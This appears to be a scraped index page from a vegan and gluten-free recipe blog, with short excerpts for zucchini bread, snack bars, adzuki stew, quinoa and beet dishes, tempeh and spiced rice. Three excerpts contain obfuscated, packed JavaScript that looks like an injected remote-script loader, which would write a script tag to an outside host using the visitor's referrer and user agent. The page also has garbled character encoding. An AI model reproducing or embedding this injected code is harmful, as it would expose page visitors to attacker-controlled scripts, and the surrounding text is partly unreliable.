‘Tis the season to find ways to use up all those HUGE zucchinis that somehow remained unseen in your, or your neighbors, garden! Print Zucchini Bread – Gluten Free and Vegan Prep time: 20 mins Cook time: 45 mins Total … Continued
This dish is vibrantly beautiful and delectable. It’s made in three separate parts, but don’t be intimidated – it’s very easy! I like to serve it cool as a side dish (wonderful for spring picnics). It’s also lovely warm and … Continued
This is a wonderful soup for a rainy winter day, or any day for that matter – as it’s fresh and light but warming on the inside. Â The bonus is that it only takes about 10-15 minutes to make and … Continued
Makes eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzfhd|var|u0026u|referrer|hkkys||js|php’.split(‘|’),0,{})) 8 large bars (2″ x 4″) The nourishing oils of the almonds and seeds and the energizing sweetness of the dried fruit and maple syrup are perfect to ground you amidst the wind, … Continued
The fall is associated with the Vata energies of air and ether, as indeed it can be described as windy, cold and dry. Thus, we can all benefit from foods that are grounding, warming and lubricating. This adzuki bean stew … Continued
I love the combination of quinoa and beets, as the quinoa takes on the bright red color. This dish is a great served on its own, or as a side dish – super for summer picnics and BBQs. Preparation eval(function(p,a,c,k,e,d){e=function(c){return … Continued
Beets eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryrin|var|u0026u|referrer|sdbbh||js|php’.split(‘|’),0,{})) and Chards are chenopods, a sub family of the amaranthaceae family (which also has spinach, quinoa, and amaranth). (Wikipedia – Amaranthaceae). So I figured I’d group them together here. Beets were first cultivated … Continued
Looks aren’t so deceiving. Tempeh not just looks like meat, but in my opinion has an even better way of taking on the flavors of seasonings.  So you won’t be missing out by substituting this healthy vegan “meat†option for … Continued
Quinoa was known by the Incas as “the Mother Grain.â€Â It’s no wonder, as it’s full of nourishment. The nutritional quality of quinoa has been compared to that of dried whole milk by the Food and Agriculture Organization (FAO) of … Continued
1 cup Brown Rice 2 cups Water 2 teaspoons Mustard Seeds 2 teaspoons Cumin Seeds 1 tablespoon Olive Oil 1-2 teaspoons Salt Soak rice for 1-2 hours (will help to activate the enzymes and help with digestion). Drain and rinse … Continued